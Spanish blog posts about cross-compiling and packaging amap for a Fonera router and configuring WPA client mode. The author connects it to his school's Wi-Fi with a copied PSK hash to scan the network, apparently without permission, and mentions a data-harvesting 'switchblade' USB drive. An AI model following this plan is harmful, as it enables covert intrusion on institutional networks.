pero hay un problema... no recuerdo que fichero modifiqué :'(<br /><br />La buena noticia es que he hecho un paquete ipk para la fonera, para poder instalar amap con el gestor de paquetes de la fonera. Os cuento como lo he hecho, necesitamos un directorio dedicado para esto no debe haber mas cosas en él, en éste creamos una carpeta llamada <span style="font-style: italic;">CONTROL</span> y la estructura de archivos que queremos, yo he puesto <span style="font-style: italic;">/usr/bin/amap</span> y <span style="font-style: italic;">/usr/share/amap/aquí_hay_3_archivos</span>. Dentro de la carpeta <span style="font-style: italic;">CONTROL</span> hay que poner un archivo de texto llamado <span style="font-style: italic;">control</span> con es siguiente contenido (este es el mio, vosotros cambiáis lo que necesitéis):<br /></div><br /><span style="font-style: italic;">Package: amap<br /></span><span style="font-style: italic;">Version: 5.2<br /></span><span style="font-style: italic;">Depends:<br /></span><span style="font-style: italic;">Source: http://freeworld.thc.org/thc-amap/<br /></span><span style="font-style: italic;">Section: net<br /></span><span style="font-style: italic;">Priority: optional<br /></span><span style="font-style: italic;">Maintainer: Neobius <neobiusnet@gmail.com><br /></neobiusnet@gmail.com></span><span style="font-style: italic;">Architecture: mips<br /></span><span style="font-style: italic;">Description: Amap allows you to know what service is running on each port, independently of the number of the port.<br /><br /></span><div style="text-align: justify;">Yo creo que esta bastante claro lo que hay que poner en cada sitio no?<br /><br />Después para crear el paquete ipk podemos usar una utilidad llamada ipkg-build (es un script), lo podéis bajar de <a href="ftp://ftp.handhelds.org/packages/ipkg-utils/ipkg-utils-1.7.tar.gz">aquí</a>.<br /><br />La forma de usarlo es sencilla, ejecutáis el script indicándole la carpeta que contiene <hints id="hah_hints"></hints> los archivos del paquete ipk, y si queréis la carpeta donde ha de guardarse el archivo ipk, si no lo hacéis se guardará en la carpeta en la que estéis.<br /><br />En cualquier caso a mi no me funcionó, cuando lo probaba en la fonera no podía instalarlo, ipkg me daba un error. Entonces mire un poco el script y sabiendo que los paquetes deb se construyen con ar y que ipkg está basado en dpkg busque ar en el script y vi esto:<br /><br /><span style="font-style: italic;">outer=ar</span><br /><br />Y lo cambié por el que incluye el toolchain de la fonera:<br /><br /><span style="font-style: italic;">outer=mips-linux-uclibc-ar</span><br /><br />Luego probé de nuevo y funcionó, si alguien quiere el paquete ipk lo puede encontrar <a href="http://neobius.es/amap-5.2_mips.ipk">aquí</a>.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com3tag:blogger.com,1999:blog-2917730816352861372.post-1431900944851807822007-09-19T16:21:00.000+02:002007-09-19T16:21:34.140+02:00Fonera en modo cliente con WPA-PSK<div style="text-align: justify;">Ya tengo la fonera lista para que haga unos scaneos y me proporcione información útil sobre la red y los servidores. Para no escribir una entrada interminable voy a contarlo por partes, en este post escribiré sobre como la he puesto en modo cliente para que se conecte a la red wifi del centro tic.<br /><br />Para ello no basta solo con las herramientas por defecto que tiene OpenWrt, la conexión wifi se configura en <span style="font-style: italic;">/etc/config/wireless,</span> desde ese archivo podemos configurarla en modo cliente, tanto para redes abiertas, wep o wpa, pero no como yo necesitaba, os explico, yo tengo la clave de la red inalámbrica del centro tic, pero cifrada, no tengo el pass en claro. La teoría es esta: una red wifi cifrada con wpa-psk tiene su essid y su frase de paso en claro que tiene entre 8 y 63 caracteres, luego a partir de esos dos mediante un algoritmo de cifrado se obtiene una nueva clave de 64 caracteres la cual se puede usar para conectarse a la red wifi y no se puede obtener la frase de paso en claro a partir de ella. Yo dispongo de esa clave cifrada, la he sacado del fichero <span style="font-style: italic;">/etc/wpa_supplicant.conf,</span> el problema es que estas claves cifradas no se pueden usar en OpenWrt a través de su archivo normal de configuración, o al menos yo no he podido y en el <a href="http://forum.openwrt.org/viewtopic.php?id=12521">foro de openwrt</a> tampoco ha sabido ayudarme nadie<hints id="hah_hints"></hints>. La solución es recurrir a herramientas independientes del sistema operativo, <span style="font-style: italic;">wpa-supplicant</span>, y como yo ya tenía el fichero de configuración de un portátil pues no iba a ser muy complicado conseguirlo, creé el fichero <span style="font-style: italic;">/etc/wpa_supplicant.conf</span> y el puse esto:<br /></div><br /><span style="font-style: italic;">ap_scan=1<br /></span><span style="font-style: italic;">fast_reauth=1<br /></span><span style="font-style: italic;">network={</span><span style="font-style: italic;"><br />ssid="essid_de_la_red"</span><span style="font-style: italic;"><br />scan_ssid=0</span><span style="font-style: italic;"><br />proto=WPA</span><span style="font-style: italic;"><br />key_mgmt=WPA-PSK</span><span style="font-style: italic;"><br />psk=clave_cifrada_de_la_red<br /></span><span style="font-style: italic;">}<br /><br /></span>Luego para comprobar si funcionaba ejecuté este comando:<br /><span style="font-style: italic;"><br />wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0<br /></span><br />Ah! Como es lógico hay que tener instalado <span style="font-style: italic;">wpa-supplicant,</span> si no es así ejecutar:<br /><br /><span style="font-style: italic;">ipkg install wpa-supplicant</span><br /><br /><div style="text-align: justify;">Lo que decía, tras ejecutar aquel comando, funcionó, bueno tuve que abrir otra conexión ssh a la fonera para comprobarlo y si, así fue, todo iba bien, un paso mas para mi objetivo ya estaba conseguido :)<br /><br />Ya que he investigado y leído tantas paginas de documentación voy a contaros también como configurar la fonera en modo cliente para que se conecte a una red abierta, a una con clave wep y a una con wpa usando al passphrase en claro.<br /><br />La clave esta en los ficheros <span style="font-style: italic;">/etc/network/wireless</span> y <span style="font-style: italic;">/etc/config/network,</span> en el segundo yo he añadido una opción para el wifi:<br /></div><br /><span style="font-style: italic;">config interface vlan1</span><span style="font-style: italic;"><br />option ifname ath0</span><span style="font-style: italic;"><br />option proto dhcp<br /></span><br />Y en el primero varía según sea la red a la que nos conectemos, os pongo el fichero entero y luego indico las opciones que hay que cambiar en cada caso:<br /><br /><span style="font-style: italic;">config wifi-device wifi0</span><span style="font-style: italic;"><br />option type atheros<br /></span><span style="font-style: italic;"># option channel 5<br /></span><span style="font-style: italic;"># option diversity 1<br /></span><span style="font-style: italic;"># option txantenna 0<br /></span><span style="font-style: italic;"># option rxantenna 0<br /></span><span style="font-style: italic;"># option distance 2000<br /></span><span style="font-style: italic;"># disable radio to prevent an open ap after reflashing:</span><span style="font-style: italic;"><br />option disabled 0<br /><br /></span><span style="font-style: italic;">config wifi-iface</span><span style="font-style: italic;"><br />option device wifi0</span><span style="font-style: italic;"><br />option network vlan1</span><span style="font-style: italic;"><br />option mode sta</span><span style="font-style: italic;"><br />option ssid essid</span><span style="font-style: italic;"><br />option hidden 0<br /></span><span style="font-style: italic;"># option txpower 15<br /></span><span style="font-style: italic;"># option bgscan enable</span><span style="font-style: italic;"><br />option encryption psk</span><span style="font-style: italic;"><br />option key clave_de_la_red<br /></span><br />Ese es un fichero para wpa-psk, solo tenéis que cambiar el ssid y la clave (<span style="font-style: italic;">option key clave_de_la_red</span>) para que os funcione. Si usa cifrado wep cambias <span style="font-style: italic;">psk</span> por <span style="font-style: italic;">wep</span> y la clave (clave_de_la_red) por la clave wep, y si es una red abierta la ultima línea borrarla y cambiar <span style="font-style: italic;">psk</span> por <span style="font-style: italic;">none</span>, o al menos creo que era así, si hay algún problema dejarme un comentario ;)<br /><div style="text-align: justify;"><br />De todas formas todavía falta un detalle... que nada mas arrancar se conecte a la red wifi, esto editando el fichero <span style="font-style: italic;">/etc/config/wireless</span> no supone mayor problema, ya que se hará así, pero si es, como en mi caso, con wpa-supplicant? hay que añadir un script que se ejecute al inicio. Yo tenía ya uno que "autoreparaba" la fonera en caso de que la red estuviera mal configurada y así me evitaba flashear, simplemente lo he modificado, porque ya no lo necesito, y ha quedado así:<br /></div><br /><span style="font-style: italic;">#!/bin/sh /etc/rc.common<br /></span><span style="font-style: italic;"># Copyright (C) 2006 OpenWrt.org<br /></span><span style="font-style: italic;"><br />START=50<br /></span><span style="font-style: italic;">start(){</span><span style="font-style: italic;"><br />wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0<br /></span><span style="font-style: italic;">}<br /><br /></span><span style="font-style: italic;">stop(){</span><span style="font-style: italic;"><br />killall test</span><span style="font-style: italic;"><br />}<br /></span><br /><div style="text-align: justify;">Y ya está. Si vosotros lo acabáis de crear tendréis que darle permisos de ejecución y habilitarlo:<br /></div><br /><span style="font-style: italic;">chmod +x /etc/init.d/test</span><br /><span style="font-style: italic;">/etc/init.d/test enable</span><br /><br /><div style="text-align: justify;">Con eso la fonera se conectará automáticamente a la red wifi cada vez que arranque.<br /><br />Ahora escribire mas post contando el resto del proceso, como he conseguido que amap funcione bien y también os pondré el script y lo comentaré. La fonera ahora mismo está esperando al primer día de instituto, ese mismo día scaneará :D<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com5tag:blogger.com,1999:blog-2917730816352861372.post-43510464190926551272007-09-11T19:35:00.000+02:002007-09-11T19:58:46.890+02:00Dominios gratis!!!<div style="text-align: justify;">Ya se que esta en los comentarios del post anterior, pero para que se vea mejor lo pongo también en este post.<br /><br />Como me ha dicho anónimo en un comentario de la entrada anterior el <a href="http://alta.1and1.es/xml/order/AlojamientoWeb;jsessionid=40A163752DE12CD012653004E83E0CD0.TC32a?__frame=_top&__lf=Static">Pack Bienvenida</a> incluye un .es (lo pone en contrato), lo que pasa es que yo no lo había registrado, os vais al panel de control, dominios, nuevo y elegís el que queráis. Yo tengo neobius.es :D<br /><br />La otra creo que es para todo el mundo (no lo sé seguro), es de nominalia, yo acabo de registrar neobiusnet.com. Aquí:<br /><br /><a href="http://promotions.nominalia.com/index_es011.html">http://promotions.nominalia.com/index_es011.html</a><br /><br />Ponéis el que queráis y os registráis (o al revés, según os salga), pedirá tarjeta de crédito, pero no cobra nada, eso es por si contratáis mas cosas, yo por si acaso he desactivado la renovación automática para evitar <hints id="hah_hints"></hints> facturas inesperadas, ya lo renovaré yo si quiero.<br /><br />También ofrece 3 cuentas de email con ese dominio de 1 GB cada una, subdominios, etc<br /><br />Increible el salto gratuito que he dado a internet, dos hosting (aunque el de 1and1 mucho mejor), dos dominios, cuentas de email, subdominios ilimitados, dns gratuito, se supone que 50 € en adsword, puedo probar los servicios de nominalia (hosting linux/windows, etc.).<br /><br />En fin un éxito esta repentina entrada en serio a internet a ver que hago con todo esto :D<br /><br />[EDIT]<br /><br />Una cosa mas que se me olvidaba, no he podido registrarme con ninguna de mis cuentas gmail, me decía que por motivos de seguridad esa cuenta de correo no se podía utilizar, así que me he creado una en mi hosting 1and1.es que es una redirección a mi cuenta normal de gmail. Si no podeis probar con cualquier otra que tengáis.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com6tag:blogger.com,1999:blog-2917730816352861372.post-12248543941271940242007-09-11T17:21:00.000+02:002007-09-24T19:44:00.024+02:001and1.es<div style="text-align: justify;">Ya lo dije en un comentario de mi penúltimo post, pero por si alguien no leyó y para decir un par de cosillas mas sobre el voy a escribir este post.<br /><br />Se trata de una oferta de un proveedor de hosting alemán que hace poco ha desembarcado en España. 1and1 como oferta de bienvenida da 2 años de hosting gratuito, te da un subdominio prácticamente imposible de recordar, 2 GB de espacio en el servidor, 20 GB de transferencia mensual, ftp, blogs, bases de datos mysql, ssh, email, etc. Los detalles podéis verlos <a href="http://alta.1and1.es/xml/order/AlojamientoWeb;jsessionid=4B73D03040189819D386B469E38E307C.TC30a?__frame=_top&__lf=Static">aquí</a>.<br /><br />La oferta es solo para usuarios españoles y acaba el día 31 de octubre de este año. Os recomiendo que os registréis, no esta mal para probar creo que son muchas cosas las que ofrece de forma gratuita. Yo me leí toda la información, y el contrato, a mi me surgieron 2 dudas, que voy a poner aquí por si alguien las tiene también. Las solucioné contactando con la empresa.<br /><br />La primera duda era sobre la transferencia mensual, en las pagina principal pone 20 GB, pero en las condiciones generales de 1and1 ponía 2 GB, la respuesta es que son 20 GB.<br /><br />La otra duda era sobre que pasa si se consumen los 20 GB, la web da a entender que se deja seguir consumiendo y luego hay que abonar la diferencia a 0.49 €/GB. Tampoco es de esa forma, se bloquea la cuenta hasta el mes siguiente, a no ser que uno compre transferencia adicional, que es lo lógico, pero en la web se da a entender otra cosa.<br /><br />Esas fueron las dos dudas que yo tuve tras leer el contrato y todo lo que ponía en la web sobre el Pack Bienvenida. En cuanto las aclaré me di de alta, al poco (pocos minutos) te llama por teléfono un contestador alemán (pero en español) y te pide un código de 4 cifras que te han dado cuando te registraste, lo pones y ya está, tu cuenta en el servidor se creará y enseguida recibirás un mail con los datos. Aproximadamente unas 2 horas después todo funcionará.<br /><br />Yo ahora mismo no he hecho mucho, pensaba crear un blog para tener algo en el servidor, pero el dominio no hay quien lo recuerde y ahora mismo no tengo interés en contratar uno, así que lo tendré hay para lo que necesite, hoy por ejemplo he colgado ahí el SDK de OpenWrt y el código de amap-5.2.<br /><br />Otra gran ventaja el el acceso ssh, por ejemplo subir archivos con ssh es mucho mas cómodo que cualquier otra cosa, tengo un servidor http en mi servidor y un puerto mapeado en el router, así que pongo lo que quiero ahí luego <hints id="hah_hints"><span id="hah_hint_152" name="hah_hint" style="border: 1px solid buttonshadow; padding: 0px 3px; z-index: 500; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; font-size-adjust: none; font-stretch: normal; color: buttontext; -moz-border-radius-topright: 0.3em; -moz-border-radius-bottomright: 0.3em; -moz-border-radius-bottomleft: 0.3em; position: absolute; display: none; top: 155px; left: 114px;font-family:helvetica;font-size:x-small;color:#b000ce;" >152</span></hints>me conecto por ssh a mi cuenta en el servidor de 1and1 y con screen y wget lo dejo ahí trabajando, así no tengo que tener una ventana del navegador en el laptop esperando, como sucede entre otros muchos con google pages. Todavía no he probado la potencia de calculo del servidor pero es un dato curioso que me gustaría averiguar. Si me he planteado que velocidad alcanza la línea y para le he puesto a descargar un cd de debian, he probado con varios servidores, y la velocidad mas alta que he conseguido es 4.5 MB/s en 2 minutos se bajaba el cd! (luego paré y lo borré), creo que tiene que alcanzar bastante mas velocidad, si alguien conoce un servidor muy rápido que lo diga y hago la prueba.<br /><br />También he pensado otro uso para esto, como ofrece ftp puedo usarlo como depósito de la fonera. Si no consigo acceder a mi cuenta en el centro tic puedo usarlo para guardar los logs, archivos, paquetes ipk, lo que sea...<br /><br />En fin, una oferta muy recomendable, además por dos años!!<br /><br />PD: Esta entrada no es patrocinada :(<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com21tag:blogger.com,1999:blog-2917730816352861372.post-85775914314806271122007-09-11T10:31:00.000+02:002007-09-11T17:21:37.484+02:00Compilando para la fonera<div style="text-align: justify;">Para conseguir mi objetivo con la fonera, (lo del modo monitor), necesito algunas herramientas que no existen como paquetes precompilados para la fonera, tengo que compilarlos yo. Realmente tampoco me he puesto muy en serio con el tema todavía y solo se me ha ocurrido una herramienta que compilar, se trata de amap, que averigua que servicio corre en cada puerto, nmap simplemente ve que puertos están abiertos, mira en su base de datos de puertos conocidos y te pone el servicio que debería ir ahí, por ejemplo, si tu tienes un ftp en el puerto 80 nmap te dirá que el puerto esta abierto, pero pondrá <span style="font-style: italic;">http</span>, no <span style="font-style: italic;">ftp</span>. Amap trabaja de otra manera, esta herramienta mira como responden los servicios que tras esos puertos y te dice que es lo que hay, incluso puede llegar a decirte el programa y su versión, no simplemente dice es un servidor ftp, puede que te diga que servidor es y su versión. Vamos una herramienta muy útil.<br /><br /><a href="http://neobius.blogspot.com/2007/09/no-puedo-compilar-en-el-server.html">Recapitulando</a> un poco, a mi me daba un error de <span style="font-style: italic;">ld</span> al intentar compilar cualquier cosa, ya fuera compilación normal o compilación cruzada. Pregunté en un foro y me dijeron que tenía el <span style="font-style: italic;">ld</span> de mi sistema y otro que había compilado yo (supongo que hice algo mal durante el lfs). Así que eliminé el que yo compile ya que no me valía para nada y ya funcionó, ahora si puedo compilar tanto de forma normal como cruzada. Aquí esta el hola mundo, que al fin funcionó:<br /></div><span style="font-style: italic;"><br /># gcc test.c -o test<br /></span><span style="font-style: italic;"># ./test<br /></span><span style="font-style: italic;">¡Hola, mundo!<br /><br /></span><div style="text-align: justify;">Ahora veamos como compilar nuestro <span style="font-style: italic;">hola mundo</span> para que funcione en OpenWrt en mi fonera, luego veremos como compilar amap para la fonera. Lo primero que necesitamos es el toolchain (herramientas de desarrollo) de openwrt para nuestra arquitectura (de la maquina donde compilaremos), yo me bajé i686, también hay para <a href="http://downloads.openwrt.org/kamikaze/7.06/atheros-2.6/OpenWrt-SDK-atheros-2.6-for-Linux-x86_64.tar.bz2">x86_64</a>. La versión para i686 ahora mismo no la encuentro en la web oficial, en su día me costo encontrar el enlace, así que la subo yo y si la queréis os la bajáis de <a href="http://s216538111.mialojamiento.es/OpenWrt-SDK-atheros-2.6-for-Linux-i686.tar.bz2">aquí</a>. Lo primero, como es lógico, es descomprimirlo, luego tenemos que añadir la ruta de los archivos para compilar al path. Dichos archivos se encuentran en <span style="font-style: italic;">OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin</span>. Para hacerlo estando en el directorio donde descomprimimos, en mi caso <span style="font-style: italic;">/media/almacen/toolchain/</span>, ejecutamos:<br /></div><br /><span style="font-style: italic;">export PATH=`pwd`</span>/<span style="font-style: italic;">OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin:$PATH<br /></span><br /><div style="text-align: justify;">Ahora para comprobar que todo ha salido bien ejecutamos <span style="font-style: italic;">echo</span> <span style="font-style: italic;">$PATH</span>, en el resultado tiene que estar nuestro directorio:<br /></div><br /><span style="font-style: italic;">/media/almacen/toolchain/OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</span><br /><br /><div style="text-align: justify;">Queda un poquito largo, no importa, mientras funcione. Ya podemos probar, compilando, por ejemplo nuestro hola mundo:<br /></div><br /><span style="font-style: italic;"># mips-linux-gcc test.c -o test</span><br /><br /><div style="text-align: justify;">Si ahora intentamos ejecutarlo, no podremos, eso es porque el ejecutable es para otra arquitectura:<br /></div><br /><span style="font-style: italic;"># ./test<br /></span><span style="font-style: italic;">-bash: ./test: cannot execute binary file<br /><br /></span><div style="text-align: justify;">Sin embargo si lo ejecutamos en la fonera la cosa cambiará, para pasarlo a la fonera hay varias maneras, yo suelo hacerlo mediante netcat o mediante http. Como tengo un servidor http en el server simplemente lo he copiado a <span style="font-style: italic;">/var/www</span> (luego lo haremos con netcat). Luego en la fonera lo descargamos y ejecutamos:<br /></div><br /><span style="font-style: italic;"># wget http://debian/test<br /></span><span style="font-style: italic;"># chmod +x test<br /></span><span style="font-style: italic;"># ./test<br /></span><span style="font-style: italic;">¡Hola, mundo!<br /><br /></span><div style="text-align: justify;">Funciona! vale, ya sabemos como compilar cosas "sencillas", ahora vamos a intentar compilar algo se hace con el clásico <span style="font-style: italic;">./configure</span>... amap nos servirá. Lo primero es tener el código de amap, aquí nuevamente he perdido el enlace, así que os lo subo yo también, <a href="http://s216538111.mialojamiento.es/amap-5.2.tar.gz">aquí</a>. La forma normal de compilarlo es la normal de estos paquetes:<br /></div><br /><span style="font-style: italic;"># tar -xzvf amap-5.2.tar.gz<br /></span><span style="font-style: italic;"># cd amap-5.2<br /></span><span style="font-style: italic;"># ./configure<br /></span><span style="font-style: italic;"># make<br /></span><span style="font-style: italic;"># make install<br /><br /></span><div style="text-align: justify;">Con eso lo tenemos para usar en nuestra maquina local, que yo también lo he hecho porque es muy útil. Ahora veamos como hacemos para que se compile usando los archivos de nuestro SDK (Software Development Kit), es decir, para usar el compilador de la fonera. Me imagino que habrá distintas formas de hacer esto, investigaré un poco para ver cual es la mejor y mas cómoda. A me se me ocurren tres, una es modificar el <span style="font-style: italic;">configure</span>, otra es modificar el <span style="font-style: italic;">Makefile</span> y la última que no se si será posible: en alguna parte del sistema tiene que estar escrito que compilador se usa, si cambio esa configuración y en vez de <span style="font-style: italic;">gcc</span> pongo <span style="font-style: italic;">mips-linux-gcc</span> estaría todo solucionado. Yo he optado por modificar el (los) <span style="font-style: italic;">Makefile</span>, porque en el <span style="font-style: italic;">configure</span> no he encontrado donde hacer los cambios. He hecho esto:<br /></div><br /><span style="font-style: italic;"># ./configure</span><br /><br /><div style="text-align: justify;">Y después he modificado los dos <span style="font-style: italic;">Makefiles</span> que hay. Si os fijáis hay uno en el directorio en el que estamos (<span style="font-style: italic;">amap-5.2/</span>) y otro dentro de <span style="font-style: italic;">pcre-3.9/</span>. En el primero de ellos solo he cambiado la variable <span style="font-style: italic;">CC</span>, he puesto esto:<br /></div><br /><span style="font-style: italic;">CC=mips-linux-uclibc-gcc</span><br /><br /><div style="text-align: justify;">Y en el segundo he cambiado <span style="font-style: italic;">CC, RANLIB y STRIP</span>, todos ellos hay que cambiarlos por los de la fonera:<br /></div><br /><span style="font-style: italic;">CC = mips-linux-uclibc-gcc</span><span style="font-style: italic;"><br />RANLIB = mips-linux-uclibc-ranlib</span><span style="font-style: italic;"><br />STRIP = mips-linux-uclibc-strip<br /><br /></span><div style="text-align: justify;">Puede que os preguntéis porque he cambiado esas variables, y que como vais a saber que variables cambiar cuando tengáis que compilar otro programa. Existe un conjunto de programas (<span style="font-style: italic;">binutils</span>) que son el compilador, el linkador, etc. El compilador <span style="font-style: italic;">gcc</span> de mi debian i386 no valdrá para la fonera, y tampoco valdrá el linkador ld de mi fonera en mi server. Entonces yo he mirado los nombres de las binutils de la fonera en <span style="font-style: italic;">OpenWrt-SDK-atheros-2.6-for-Linux-i686/staging_dir_mips/bin</span>, y veo los nombres, por ejemplo: <span style="font-style: italic;">gcc, ar, as, c++, ld</span>... De esta manera cuando yo en el <span style="font-style: italic;">Makefile</span> vea <span style="font-style: italic;">gcc</span> lo cambio por <span style="font-style: italic;">mips-linux-gcc,</span> <span style="font-style: italic;">ar</span> lo cambio por <span style="font-style: italic;">mips-linux-ar</span>, etc. Estoy seguro de que debe existir algún método mejor, que intentaré averiguar, pero mientras no lo sepa esta es mi única solución.<br /></div><br /><div style="text-align: justify;">Después de haber hecho los cambios precisos compilamos:<br /></div><br /><span style="font-style: italic;">make</span><br /><br /><div style="text-align: justify;">Si ahora intentamos ejecutar el archivo tampoco podremos, es para la fonera, no para un x86:<br /></div><br /><span style="font-style: italic;"># ./amap<br /></span><span style="font-style: italic;">-bash: ./amap: cannot execute binary file</span><br /><br /><div style="text-align: justify;">Sin embargo si lo pasamos a la fonera, esta vez con netcat, funcionará. Ejecutamos en el server:<br /></div><br /><span style="font-style: italic;"># cat amap | nc fonera 9999</span><br /><br /><div style="text-align: justify;">En la fonera:<br /></div><br /><span style="font-style: italic;"># nc -l -p 9999 > amap</span><br /><br /><div style="text-align: justify;">Y ya podemos darle permisos y ejecutarlo. De todas formas todavía no funcionara bien, porque para comprobar que servicio está en cada puerto compara la respuesta con una base de datos, también tiene que estar en la fonera. Supongo que sera cosa de añadirlo al directorio adecuado, todavía no lo he hecho, en cualquier caso pienso hacer un paquete ipk por cada programa que vaya a usar, seguiré trabajando con este hasta tenerlo todo listo. En cualquier caso, lo que me he interesa ya lo he conseguido: esta compilado.<br /><br />Ahora buscaré un método mas cómodo, rápido y sencillo para hacer compilación cruzada, aprenderé a hacer paquetes ipk, y me pondré a programar el script que me haga un análisis de la red.<br /></div><hints id="hah_hints"></hints>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com2tag:blogger.com,1999:blog-2917730816352861372.post-49487877721667174052007-09-11T09:01:00.000+02:002007-09-11T09:20:12.031+02:00Ya estoy bien<div style="text-align: justify;">Pues sí, al final me cansé de la venda y como no me dolía nada al intentar mover la mano, me quité la venda ayer. El mismo día que me llegó el pendrive (por fin!!!), luego os pondré una foto y os contaré lo que he hecho con él. También tengo que contaros como conseguí compilar para la fonera desde el server y como está ahora mismo la fonera (que ya queda poco para que empiece el curso, creo que es el 24). Ahora mismo no se me ocurren mas cosas, pero creo que hay algo mas que contar, ya irán saliendo los temas.<br /><br />Por cierto el pendrive ya le he instalado switchblade y funciona, consigue muchísimos datos del pc, luego cuento los detalles.<br /></div><hints id="hah_hints"></hints>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com2tag:blogger.com,1999:blog-2917730816352861372.post-82662447155955285292007-09-06T20:39:00.000+02:002007-09-06T20:51:56.890+02:00Comunicado<div style="text-align: justify;">A partir de hoy y aproximadamente hasta dentro de una semana es muy probable que no escriba nada, porque tengo la mano izquierda inmovilizada (y soy zurdo). Una mala caída me ha dejado un dolor que me impedía mover el pulgar y el meñique, hoy fui al médico y no tengo nada roto, sin embargo estoy con la mano vendada y no puedo usarla para nada, además al mover los otros tres dedos también me molesta un poco. Por ello solo puedo escribir en el pc con la mano derecha y se tarda bastante más que con dos manos.<br /><br />También os adelanto que ya he podido compilar para la fonera desde el server, pero no puedo contaros como, es largo y ahora no voy a escribirlo.<br /><br />Nada más, espero mejorarme lo antes posible y poder seguir escribiendo por aquí.<hints id="hah_hints"></hints></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com9tag:blogger.com,1999:blog-2917730816352861372.post-53115106528875828362007-09-05T10:03:00.001+02:002007-09-05T10:25:06.970+02:00No puedo compilar en el server<div style="text-align: justify;">La última vez que compile en el servidor fue cuando estuve con el LFS, luego como sabéis conseguí reparar la fonera y me puse a trabajar con ella, ya que era mi principal objetivo. Como ya queda poco para que empiece el curso, porque no es en octubre como muchos creíamos, es sobre el 20 de este mes, tengo que preguntar cuando es exactamente, bueno que me voy del tema, como queda poco estoy preparando ya el ultimo experimento (lo del modo cliente), y quería compilar una herramienta para la fonera, se trata de <span style="font-style: italic;">amap</span>, un paquete que averigua que servicio corre en cada puerto abierto (no, <span style="font-style: italic;">nmap</span> no lo hace), antes de hacer la compilacion cruzada probé a compilarlo para mi servidor también, pero ejecuto el ./configure y me da este error:<br /></div><br /><span style="font-style: italic;"># ./configure<br /></span><span style="font-style: italic;">loading cache ./config.cache<br /></span><span style="font-style: italic;">checking for a BSD compatible install... /usr/bin/install -c<br /></span><span style="font-style: italic;">checking whether build environment is sane... yes<br /></span><span style="font-style: italic;">checking whether make sets ${MAKE}... yes<br /></span><span style="font-style: italic;">checking for working aclocal... found<br /></span><span style="font-style: italic;">checking for working autoconf... found<br /></span><span style="font-style: italic;">checking for working automake... found<br /></span><span style="font-style: italic;">checking for working autoheader... found<br /></span><span style="font-style: italic;">checking for working makeinfo... missing<br /></span><span style="font-style: italic;">checking for gcc... gcc<br /></span><span style="font-style: italic;">checking whether the C compiler (gcc ) works... no<br /></span><span style="font-style: italic;">configure: error: installation or configuration problem: C compiler cannot create executables.</span><br /><br /><div style="text-align: justify;">Entonces, yo para comprobar que pasaba intenté compilar algo, porque ahí pone que gcc no puede crear ejecutables (WTF!), creé un fichero (<span style="font-style: italic;">test.c</span>) que no es mas que un hola mundo y lo intenté compilar:<br /></div><br /><span style="font-style: italic;"># gcc test.c -o test<br /></span><span style="font-style: italic;">/usr/local/bin/ld: opción `--hash-style=both' no reconocida<br /></span><span style="font-style: italic;">/usr/local/bin/ld: use la opción --help para información de modo de empleo<br /></span><span style="font-style: italic;">collect2: ld returned 1 exit status<br /><br /></span><div style="text-align: justify;">No compila y la verdad es que no se que hacer, he googleado y no he encontrado nada, he buscado en todas partes pero no ha habido manera, así que he preguntado en un foro, <a href="http://www.esdebian.org/forum/viewtopic.php?forum=21&showtopic=101860">esdebian.org</a>, a ver si alguien puede ayudarme. Luego la idea sería hacer compilación cruzada y compilarlo con el toolchain de openwrt.<br /><br />Mientras se soluciona ese contratiempo voy a seguir por otro frente, voy a configurar la red inalámbrica de mi otro router con wpa, y voy a intentar que la fonera se conecte a él, ya que la red wifi de mi instituto esta cifrada con wpa, aunque como ya he dicho en otras ocasiones tengo el fichero de configuración con la clave, así que no debería serme mayor problema.<br /><br />Yo por último un comentario sobre el pendrive, hoy se cumplen las 48 horas, debería llegarme...<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com0tag:blogger.com,1999:blog-2917730816352861372.post-21312462344196237622007-09-03T13:02:00.000+02:002007-09-03T14:30:19.731+02:00Problemas con el portátil<div style="text-align: justify;">Hoy el portátil me ha dado un buen susto, incluso pensé en abrirlo para intentar hacerle algo. Todo empezó ayer por la tarde, yo no estaba en mi casa, había ido a casa de un amigo para explicarle algunas cosas de matemáticas, que hoy tenía los famosos exámenes de septiembre. Volví a mi casa sobre las diez de la noche, cuando llegué fui a por el portátil lo enciendo y lo primero que sale al encenderse es una pantalla de Acer, en ese momento se puede acceder a la bios, el problema es que justo en ese momento, instantes después de pulsar el botón de encendido empezó a sonar un pitido, bueno mas que un pitido era un sonido tipo sirena por llamarlo de una forma, tono agudo, tono grave, tono agudo, tono grave, de forma indefinida. Y se quedaba bloqueado no podía hacer nada. Yo sabía que hay un código de pitidos que las bios usan para indicar si hay algún fallo, buscando vi que lo mio significaba sobrecalentamiento de la cpu, y quizás que el ventilador no funcionara. Lo comprobé y el ventilador funcionaba, sobrecalentamiento... no se notaba, el portátil al tacto no estaba caliente. Intenté reiniciando varias veces a ver si cambiaba algo... nada. Entonces mi hermano salta y me dice que antes iba a usar el portátil pero no pudo, que cuando lo encendió sonaba el pitido ese y que ya no hacía nada mas. Le dije que eso era por sobrecalentamiento, que si había hecho algo, me respondió que lo encendió la primera vez y lo dejo un buen rato ahí porque siguió estudiando (el también tenía examen). Mientras tanto lo había dejado puesto encima la maleta del portátil abierta y como que no es del todo rígida y yo diría que es de puro nylon, creo que todas las ranuras de ventilación que tiene en la base (el portátil) estaban tapadas, eso unido a que la batería estaba cargada entera y a que mi hermano lo dejo ahí hasta que se le gastó toda la batería... Vamos que por lo menos 2 horas teniendo las "tripas" como una verdadera sauna. <hints id="hah_hints"></hints> Entonces yo pensé que a lo mejor necesitaba cierto tiempo para recuperarse, así que esperé, al final poco antes 